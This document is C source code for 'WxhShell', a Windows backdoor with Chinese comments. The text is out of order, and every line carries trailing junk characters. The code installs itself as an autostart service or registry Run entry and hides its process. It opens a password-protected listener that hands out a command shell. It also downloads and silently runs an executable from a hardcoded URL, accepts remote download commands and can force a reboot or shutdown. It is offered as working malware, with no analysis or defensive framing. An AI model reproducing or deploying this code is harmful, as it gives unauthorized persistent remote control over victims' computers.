    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )[|`-M~u  
    if(Boot(SHUTDOWN)) Smzy EMT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vahfz8~w/  
    else { %a{$M{s  
    closesocket(wsh); x6d+`4  
    ExitThread(0); {9q~bt  
    } OGw =e{  
    break; IP~*_R"bM  
    } ]x8 ^s  
  // 获取shell AifnC4  
  case 's': { I'{-T=R-q  
    CmdShell(wsh); M. O3QKU4  
    closesocket(wsh); IGeXj%e  
    ExitThread(0); f7c%Z:C#Y  
    break; cY  ^>`  
  } paF$ o6\  
  // 退出 2 1.;lj  
  case 'x': { y#!8S{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HP}d`C5<R  
    CloseIt(wsh); Nih8(pbe  
    break; ;HtHN K(o  
    } jc) [5i0  
  // 离开 DF|(CQs9  
  case 'q': { -.~Dhk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x9)^0Hbo  
    closesocket(wsh); $-H#M] Gq  
    WSACleanup(); vY&[=2=  
    exit(1); 78&jaw*1A  
    break; {s&6C-  
        } ~1jSz-s  
  } JE9SPFQx9M  
  } {hr>m,O%  
Hy`Ee7>  
  // 提示信息 *Hx{eqC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RoCX*3d  
} A0Pg|M  
  } tu8n1W  
&i179Qg!  
  return; xs y5"  
} FvQ>Y')R7Z  
!)~b Un  
// shell模块句柄 ;WxE0Q:!~  
int CmdShell(SOCKET sock) wiKUs0|  
{ K;Qlg{v  
STARTUPINFO si; {XAm3's  
ZeroMemory(&si,sizeof(si)); ejP273*ah  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f-6-!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H/n3il_-I  
PROCESS_INFORMATION ProcessInfo; &~Qi+b0!  
char cmdline[]="cmd"; 5]D"y Ay81  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (!`TO{!6P  
  return 0; j#mo Vq  
} BM9J/24  
y ,e# e`  
// 自身启动模式 is @8x!c  
int StartFromService(void) h8OmO5/H  
{ qP=4D 9 ]  
typedef struct J%]< /J  
{ VL4ErOoZ  
  DWORD ExitStatus; ?hu}wl)  
  DWORD PebBaseAddress; s @\UZ C  
  DWORD AffinityMask; 0h^&`H:  
  DWORD BasePriority; Sxo9y0K8-  
  ULONG UniqueProcessId; oRmz'F  
  ULONG InheritedFromUniqueProcessId; 7@iyO7U  
}   PROCESS_BASIC_INFORMATION; `(NMHXgG+  
Kgh@.Ir  
PROCNTQSIP NtQueryInformationProcess; zSt6q  
M{M>$pt   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !@j5yYf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w$%d"Jm#X  
&cy @Be}|T  
  HANDLE             hProcess; 0RmQfD>  
  PROCESS_BASIC_INFORMATION pbi; Ch;C\H:X  
P(B:tg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KtH-QQDluj  
  if(NULL == hInst ) return 0; n HiE$Y  
$}kT )+K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z#w@ /!"}T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Z rE/3_S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8~Avg6,  
hI249gW9  
  if (!NtQueryInformationProcess) return 0; ^W}(]jL  
#J&45  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \H <k  
  if(!hProcess) return 0; Y v22,|:  
&)Y26*(`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZmM/YPy  
 5`];[M9  
  CloseHandle(hProcess); E2J.t`H  
!5 8j xh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qRy<W  
if(hProcess==NULL) return 0; T#&tf^;  
gG5@ KD6k  
HMODULE hMod; ~:8}Bz2!5  
char procName[255]; s az<NT  
unsigned long cbNeeded; DdO$&/`)YP  
N pu#.)G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nSUQ Eho<  
5~ho1Ud  
  CloseHandle(hProcess); zl~`>  
6R_G{AWLL  
if(strstr(procName,"services")) return 1; // 以服务启动 dk}T&qZ~p  
7Uy49cs,  
  return 0; // 注册表启动 gr]:u4}  
} HHd;<%q  
!I3_KuJ5  
// 主模块 <<a1a  
int StartWxhshell(LPSTR lpCmdLine) T.m*LM  
{ ks{y=@ <,  
  SOCKET wsl; gKyYBr  
BOOL val=TRUE; 9k5$rK`  
  int port=0; "zpc)'$ L=  
  struct sockaddr_in door; .v<Q-P\8/  
=2-!ay:  
  if(wscfg.ws_autoins) Install(); wLX:~]<xl  
^Yu<fFn  
port=atoi(lpCmdLine); _G9 vsi  
k;aV4 0N9  
if(port<=0) port=wscfg.ws_port; f]N.$,:$  
T_T@0`7  
  WSADATA data; !{hC99q6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |/Q7 o1i  
CVo2?ZQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   II=(>G9v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9RzTC  
  door.sin_family = AF_INET; 7-p9IFcA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HP`dfo~j  
  door.sin_port = htons(port); QPL6cU$&R  
CJ'pZ]\G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 53vnON#{*  
closesocket(wsl); 6;|6@j  
return 1; "DWw]\xO](  
} ^o;f~6#17  
W+F{!dW  
  if(listen(wsl,2) == INVALID_SOCKET) { kH&KE5  
closesocket(wsl); 8v eG^o  
return 1; 7t8[M(  
} k(<:  
  Wxhshell(wsl); Sxn#  
  WSACleanup(); d46PAA{'  
,\t:R1.  
return 0; 0Fd<@w Q0  
*RPdU.  
}  -)='htiU  
Io8h 8N-  
// 以NT服务方式启动 d#Hl3]wT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gG^A6Ol%D  
{ G {wIY"~4  
DWORD   status = 0; 960[.99  
  DWORD   specificError = 0xfffffff; '{e9Vh<x  
pb>TUKvT&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6oh\#v3zV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r8]y1 Om<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V5]}b[X  
  serviceStatus.dwWin32ExitCode     = 0; "4`i]vy8  
  serviceStatus.dwServiceSpecificExitCode = 0; 5" 5tY  
  serviceStatus.dwCheckPoint       = 0; %3"xn!'vf  
  serviceStatus.dwWaitHint       = 0; k PuY[~i%  
pQ:7%+Om  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y;'yob  
  if (hServiceStatusHandle==0) return; QJeL&mf  
'>8IOC  
status = GetLastError(); _zuaImJ0o  
  if (status!=NO_ERROR) `a$c6^a  
{ HUP~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p,(gv])ie  
    serviceStatus.dwCheckPoint       = 0; Nft~UggK  
    serviceStatus.dwWaitHint       = 0; G=1&:nW'  
    serviceStatus.dwWin32ExitCode     = status; >M2~BDZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^`BiA'gPPC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -'q#u C  
    return; 8ClOd<I  
  } z' oK 0"  
O~wZU Zf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pfs'2AFj  
  serviceStatus.dwCheckPoint       = 0; r)4GH%+?fv  
  serviceStatus.dwWaitHint       = 0; $oPx2sb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !+<OED=qe  
} Z}b25)  
G)(vd0X1  
// 处理NT服务事件,比如:启动、停止 fu=GgD*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qdss(LZ  
{ O)2==_f\  
switch(fdwControl) ?2RDd|#  
{ G}|!Jdr  
case SERVICE_CONTROL_STOP: As5*)o"&  
  serviceStatus.dwWin32ExitCode = 0; ||xiKg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C[4{\3\Va  
  serviceStatus.dwCheckPoint   = 0; SC Qr/Q  
  serviceStatus.dwWaitHint     = 0; [osIQ!u;:  
  { eNQQ`ll@m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~g#$'dS  
  } >EacXPt-O  
  return; /-{C,+cB  
case SERVICE_CONTROL_PAUSE: BXzn-S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4V6^@   
  break; '<$!?="  
case SERVICE_CONTROL_CONTINUE: [Yi;k,F:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IasWm/  
  break; @zQ.d{  
case SERVICE_CONTROL_INTERROGATE: d ynq)lf  
  break; ' F,.y6QU  
}; 88]4 GVi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |.ZYY(}  
} B_kjy=]O.  
6I<^wS9j_  
// 标准应用程序主函数 3 |se]~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |H .  
{ kWSei3  
qk+RZ>T<o  
// 获取操作系统版本 ep,"@,,  
OsIsNt=GetOsVer(); C>MEgGP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p%ve1>c  
VR'R7  
  // 从命令行安装 GR%h3HO2&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7o99@K,  
:l;SG=scx  
  // 下载执行文件 w3<%wN>tE  
if(wscfg.ws_downexe) { 0gIJ&h6*f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?q*,,+'0  
  WinExec(wscfg.ws_filenam,SW_HIDE); r;7&U<j~Z  
} ]ChGi[B~9  
]%Db%A  
if(!OsIsNt) { :`Z'vRj  
// 如果时win9x,隐藏进程并且设置为注册表启动 m9Pzy^g1  
HideProc(); ='[J.  
StartWxhshell(lpCmdLine); \nzaF4+$  
} C"gH>G  
else gP 13n!7  
  if(StartFromService()) 3g{T+c*  
  // 以服务方式启动 ;^"#3_7T]  
  StartServiceCtrlDispatcher(DispatchTable); SjmWlf,  
else pm4'2B|)g  
  // 普通方式启动 j,Vir"-)  
  StartWxhshell(lpCmdLine); Fr|Ts>Kx  
x%`.L6rj  
return 0; \F;  S  
} 5bZjW~d  
e,X {.NS  
4b@ Awtk  
O:J;zv\  
=========================================== Cqra\  
@p\te7(P%  
-#y^$$i0  
{L#+v~d^'n  
4iPxtVT  
c]x'}K c  
" 4k]DktY}.  
V."qxKsz  
#include <stdio.h> qt.Y6s:r_  
#include <string.h> dBeZx1Dy  
#include <windows.h> aGx[?}=  
#include <winsock2.h> }rKKIF^f\S  
#include <winsvc.h> g.:b\JE`  
#include <urlmon.h> kw$*o k  
9^zA(  
#pragma comment (lib, "Ws2_32.lib") oScKL#Hu  
#pragma comment (lib, "urlmon.lib") r.vezsH  
* ak"}s  
#define MAX_USER   100 // 最大客户端连接数 @&F\M}  
#define BUF_SOCK   200 // sock buffer T!ik"YZ@i  
#define KEY_BUFF   255 // 输入 buffer $j"TPkW{M  
4f-I,)qCBk  
#define REBOOT     0   // 重启 O Bp&64  
#define SHUTDOWN   1   // 关机 *S?vw'n  
\)/dFo\l  
#define DEF_PORT   5000 // 监听端口 BK[ YX)  
M!#[(:  
#define REG_LEN     16   // 注册表键长度 lDf:~  
#define SVC_LEN     80   // NT服务名长度 IV]2#;OO?  
%I^y@2A4`  
// 从dll定义API |K11Woii  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y)](jU%o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0XLoGQ=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #*v:.0%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?,AWXiif  
SQhw |QdG  
// wxhshell配置信息 WvVf+| Km  
struct WSCFG { IPxK$nI^  
  int ws_port;         // 监听端口 \*r]v;NcP  
  char ws_passstr[REG_LEN]; // 口令 H vezi>M  
  int ws_autoins;       // 安装标记, 1=yes 0=no '"4S3Fysm  
  char ws_regname[REG_LEN]; // 注册表键名 ^1jZwP;5eW  
  char ws_svcname[REG_LEN]; // 服务名 i4g99Kvl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k4!z;Yq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S>N/K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y7LT;`A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f{j.jfl\x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c%O8h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .G/2CVMj  
T!3_Q/~^r  
}; `ZLA=oD  
;z3w#fNMv  
// default Wxhshell configuration tEC`-> |  
struct WSCFG wscfg={DEF_PORT, ]*\m@lWu  
    "xuhuanlingzhe", WVkJ=r0Ny  
    1, ;qwN M~  
    "Wxhshell", # ZcFxB6)  
    "Wxhshell", C0#"U f  
            "WxhShell Service", X ^\kI1  
    "Wrsky Windows CmdShell Service", cfrvx^,2&  
    "Please Input Your Password: ", n1;y"`gHk  
  1, ]fb3>HOTJ  
  "http://www.wrsky.com/wxhshell.exe", W9A [Z  
  "Wxhshell.exe" v9S1<|jN  
    }; fo$A c  
U|YIu!^  
// 消息定义模块 W%&'EJ)62  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +^tw@b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q#|,4( Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]$xN`O4W{  
char *msg_ws_ext="\n\rExit."; *(*3/P4D  
char *msg_ws_end="\n\rQuit."; `a:L%Ex  
char *msg_ws_boot="\n\rReboot..."; D8r=V f  
char *msg_ws_poff="\n\rShutdown..."; =0gfGwD{  
char *msg_ws_down="\n\rSave to "; )gb gsQZ  
8Z1pQx-P2C  
char *msg_ws_err="\n\rErr!"; 48t_?2>  
char *msg_ws_ok="\n\rOK!"; =j$!N# L  
%Tvy|L ,  
char ExeFile[MAX_PATH]; cUPC8k.1  
int nUser = 0; (;1Pgh  
HANDLE handles[MAX_USER];  $% 5f  
int OsIsNt; GJB= 5nE  
e/nc[  
SERVICE_STATUS       serviceStatus; VsTa!V^~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,^d!K(xb  
yG%<LP2p@f  
// 函数声明 }ki}J>j|f  
int Install(void); A\S1{JrR  
int Uninstall(void); g#b uy  
int DownloadFile(char *sURL, SOCKET wsh); VfON{ 1g  
int Boot(int flag); cJQ&#u  
void HideProc(void); 1-6[KBQ8  
int GetOsVer(void); S`v+rQjW  
int Wxhshell(SOCKET wsl); FaVeP%v  
void TalkWithClient(void *cs); gXThdNU4G  
int CmdShell(SOCKET sock); *M^t@hl  
int StartFromService(void); {24Y1ohK  
int StartWxhshell(LPSTR lpCmdLine); @w]z"UCwV@  
di,?`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xj+oV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WUesTA>  
^+)q@{\8Y  
// 数据结构和表定义 Gi*GFv%xB  
SERVICE_TABLE_ENTRY DispatchTable[] = wEp*j+Mmce  
{ mE+  
{wscfg.ws_svcname, NTServiceMain}, X&+*?Q^  
{NULL, NULL} `*to( )  
}; hD I}V 1)  
.)Af&+KT  
// 自我安装 g-cC&)0Q  
int Install(void) ``j8T[g  
{ `x'vF#  
  char svExeFile[MAX_PATH]; eo~>|0A*V  
  HKEY key; v *UJ4r  
  strcpy(svExeFile,ExeFile); v?S~ =$.  
_8;)J  
// 如果是win9x系统,修改注册表设为自启动 1E'/!|  
if(!OsIsNt) { >QJfTkD$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Q-[)Z )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gJv;{;%  
  RegCloseKey(key); y5AJ1A6?E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8fI&-uP{g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cHO8%xu`  
  RegCloseKey(key); |'bRVqJ  
  return 0; 5[{#/!LX)  
    } MaX:o GF,  
  } !`VC4o  
} tq^d1b(j4  
else { m?$peRn3{  
o"5[~$O  
// 如果是NT以上系统,安装为系统服务 oF9c>^s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  #Lq{_Y  
if (schSCManager!=0) ^%<t^sE  
{ !"e~HZmr  
  SC_HANDLE schService = CreateService }[%d=NY  
  ( ])YGeY(V0+  
  schSCManager, YEB@p.  
  wscfg.ws_svcname,  :Ky *AI  
  wscfg.ws_svcdisp, !R/- |Kjy  
  SERVICE_ALL_ACCESS, lxvRF93a.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $4j$c|S!  
  SERVICE_AUTO_START, Q'mLwD3>  
  SERVICE_ERROR_NORMAL, y_Tc$g~  
  svExeFile, Es~|:$(N]|  
  NULL, `T \"B%  
  NULL, 1; "t8.*%e  
  NULL, +#|):aF  
  NULL, )f6:{ma  
  NULL <m|\#Jw_V  
  ); W18I"lHeh  
  if (schService!=0) ,& ^vc_}  
  { xQetAYP`  
  CloseServiceHandle(schService); |8s)kQ4$  
  CloseServiceHandle(schSCManager); &K*x[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cx(W{O"Jb  
  strcat(svExeFile,wscfg.ws_svcname); sivd@7r\Fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mGK-&|gq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5v uB87`  
  RegCloseKey(key); qXQ/M]  
  return 0; k;?Oi?]  
    } +[sZE X  
  } @/ m|T]'8  
  CloseServiceHandle(schSCManager); ctzaqsr  
} yQXHEB  
} {ta0dS;1  
^S'#)H-8C3  
return 1; C;3>q*Am4  
} W?B(Jsv  
BIr24N  
// 自我卸载 K[XFJ9  
int Uninstall(void) )E2^G)J$W  
{ h6Vm;{ ~  
  HKEY key; jr9/  
_E{hB  
if(!OsIsNt) { P=j89-e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q Pc"A!-i  
  RegDeleteValue(key,wscfg.ws_regname); ]-D;t~  
  RegCloseKey(key); 1;4 ] HNI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #''q :^EQ  
  RegDeleteValue(key,wscfg.ws_regname); +[DL]e]@U  
  RegCloseKey(key); bS9<LQ*  
  return 0; 0K&\5xXM  
  } Viu+#J;l  
} v .ftfL!  
} ,;2x.We  
else { J"x M[c2  
( _{\tgSm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r95l.v  
if (schSCManager!=0) "^~>aVuXf  
{ 7D;g\{>M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bLfbzkNV\1  
  if (schService!=0) "F*'UfOwrZ  
  { @?w8XHEa|  
  if(DeleteService(schService)!=0) { UBUZ}ZIbN  
  CloseServiceHandle(schService);  pzMli ^  
  CloseServiceHandle(schSCManager); .Fy f4^0  
  return 0; qQ_o>+3VAy  
  } ?d -$lI  
  CloseServiceHandle(schService); dtdz!'q)Y  
  } ~\ 9bh6%R  
  CloseServiceHandle(schSCManager); CS:mO |  
} "z^&>#F  
} 5Y4 i|R  
zLs[vg.(  
return 1; LZCziW  
} l1|z; $_z  
"SuBtoK  
// 从指定url下载文件 -n-rKN.T  
int DownloadFile(char *sURL, SOCKET wsh) ;!CYp; _  
{ DJtKLG0  
  HRESULT hr; ;(kU:b|j  
char seps[]= "/"; l+>&-lX'  
char *token; ;plzJ6>  
char *file; I.<>6ISI@  
char myURL[MAX_PATH]; 0#}@- e  
char myFILE[MAX_PATH]; 6E!CxXUX  
Q &Rj)1!  
strcpy(myURL,sURL); Daa2.*  
  token=strtok(myURL,seps); mxYsP6&  
  while(token!=NULL) O^D$ ~ ]  
  { LN8V&'>  
    file=token; 3zO'=gwJ  
  token=strtok(NULL,seps); 0aMw  
  } / ;%[:x  
'~^3 =[Z  
GetCurrentDirectory(MAX_PATH,myFILE); *j,5TO-j  
strcat(myFILE, "\\"); $Q[>v!!X  
strcat(myFILE, file); LDJ=<c!  
  send(wsh,myFILE,strlen(myFILE),0); HqW|  
send(wsh,"...",3,0); V4RtH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0;Y|Ua[G+~  
  if(hr==S_OK) x+}6qfc$9k  
return 0; :eK;:pN  
else D3LW 49  
return 1; C} #:<Jx  
u/5I;7cb  
} p",HF%  
JNzNK.E!m-  
// 系统电源模块 2EubMG  
int Boot(int flag) 3 ;F=EMz{  
{ {YCquoF  
  HANDLE hToken; EHT5Gf  
  TOKEN_PRIVILEGES tkp; ndkV(#wQS  
<y(uu(c  
  if(OsIsNt) { Fejs9'cB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X*2M Nx^K~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); silTL_$  
    tkp.PrivilegeCount = 1; $IL7c]Gw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eCY gi7?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^X%{]b K  
if(flag==REBOOT) { XD5z+/F<"0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lE+v@Kb:  
  return 0; 6#+&_ #9  
} &#'[]V%^F  
else { PrIS L[@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !b"#`O%`  
  return 0; E%M~:JuKd?  
} cH()Ze-B  
  } yfS`g-j{~  
  else { jXO*_R  
if(flag==REBOOT) { -WIT0F4o;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1.]Py"@:  
  return 0; $/%|0tQ  
} jUq^$+N  
else { /@5X0m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =N,Mmz%  
  return 0; So*Q8`"-.  
} klG]PUzd  
} A*BIudli  
I=VPw5"E  
return 1; k`W.tMo  
} }LNpr  
#msXAy$N3r  
// win9x进程隐藏模块 f i-E_  
void HideProc(void) 7E$ e1=  
{ !2WRxM  
~_P,z?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7FMg6z8~  
  if ( hKernel != NULL ) (( 0%>HJ{~  
  { xp%,@] p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mnM#NT5]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8t!/O p ?  
    FreeLibrary(hKernel); )TxAhaz+  
  } ~Dw.3P:-  
CUB=T]  
return; M3j_sd'N  
} Nhv~f0  
7p&%0'BO1z  
// 获取操作系统版本 zE +)oQ,  
int GetOsVer(void) (!Q^.C_m  
{ ~A+D H  
  OSVERSIONINFO winfo; Ti }Ljp^O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bWK}oYB*  
  GetVersionEx(&winfo); Pe w-6u"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p]uwGWDI  
  return 1; ir<HC 'D[  
  else `Td0R!  
  return 0; BlQu9{=n  
} =& ~*r  
o'@VDGS`  
// 客户端句柄模块 v V:eU-a  
int Wxhshell(SOCKET wsl) jE.U~D)2YF  
{ mT;1KE{J{  
  SOCKET wsh; T_:"~ ]  
  struct sockaddr_in client; w{3 B  
  DWORD myID; [k(oQykq  
<U=:N~L  
  while(nUser<MAX_USER) N=&~3k  
{ -.: [a3c?  
  int nSize=sizeof(client); -"iGcVV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Y EB?HA  
  if(wsh==INVALID_SOCKET) return 1; +2=N#LM  
a!}.l< )  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wn[q?|1  
if(handles[nUser]==0) Q_'3}:4  
  closesocket(wsh); zFh JLH*C  
else lL~T@+J~  
  nUser++; 0t<]Uf  
  } Mt)`hR+2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eLcP.;Z  
EUj'%;s z-  
  return 0; ~HD:Y7  
} MNNPBE  
0n+Wv @/  
// 关闭 socket w+bQpIP M  
void CloseIt(SOCKET wsh) 8 M3Q8&  
{ pS vDH-  
closesocket(wsh); I~EQuQ>=  
nUser--; d ! A)H<Zt  
ExitThread(0); [>+(zlK"  
} Q+E%"`3V4l  
T<06y3sN  
// 客户端请求句柄 '/kSUvd  
void TalkWithClient(void *cs) >(Jy=m?  
{ wxpE5v+f|  
IC>OxYg*  
  SOCKET wsh=(SOCKET)cs; k.>*!l0  
  char pwd[SVC_LEN]; `6`NuZ*6g  
  char cmd[KEY_BUFF]; E~]8>U?V  
char chr[1]; 3!&lio+<  
int i,j; Wq8Uq}~_g  
?V%x94B  
  while (nUser < MAX_USER) { EO$_]0yI;_  
:^FOh*H  
if(wscfg.ws_passstr) { 1SeDrzLA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (UPkb$Qc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?U:?o_w  
  //ZeroMemory(pwd,KEY_BUFF); u^SXg dj  
      i=0; TLzg*  
  while(i<SVC_LEN) { _, /m  
/o#!9H   
  // 设置超时 P 0,) Gw  
  fd_set FdRead; 8SK}#44Xz  
  struct timeval TimeOut; 7%L%dyN  
  FD_ZERO(&FdRead); lq=| =  
  FD_SET(wsh,&FdRead); fD#|C~:=  
  TimeOut.tv_sec=8; :; \>jxA  
  TimeOut.tv_usec=0; a(s}Ec${Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _Dl!iV05:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e~jw YImA  
'WkDp a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'n% Ac&kk  
  pwd=chr[0]; 7(lR$,bE;=  
  if(chr[0]==0xd || chr[0]==0xa) { q[1:h  
  pwd=0; \2)a.2mAz  
  break; Gd1%6}<~  
  } Z{7lyEzBg  
  i++; ;AK;%  
    } g2.%x \d  
7!.%HhU0  
  // 如果是非法用户,关闭 socket 7$'%*|C.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $w`QQ^\  
} h7<Zkf  
lG,/tMy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IZY q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \^vf`-uG  
O{rgx~lLJt  
while(1) { [R-4e; SRh  
kVE% "  
  ZeroMemory(cmd,KEY_BUFF); *IUw$|Z6z)  
B) J.(k`p  
      // 自动支持客户端 telnet标准   )vO;=% GQ  
  j=0; cZT;VmC  
  while(j<KEY_BUFF) { ZvEcExA-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P|YBCH  
  cmd[j]=chr[0]; z|[#6X6tT  
  if(chr[0]==0xa || chr[0]==0xd) { aW]!$  
  cmd[j]=0; s`M[/i3Nm  
  break; Au &NQ+  
  } Ffk$8"   
  j++; Rq~\Yf+Pm  
    } GJW+'-f  
9qkH~B7  
  // 下载文件 V`?2g_4N  
  if(strstr(cmd,"http://")) { Z{RRhJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WH2?_U-8h  
  if(DownloadFile(cmd,wsh)) 6rP[*0[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jC> l<d_  
  else rXXIpQRi$S  
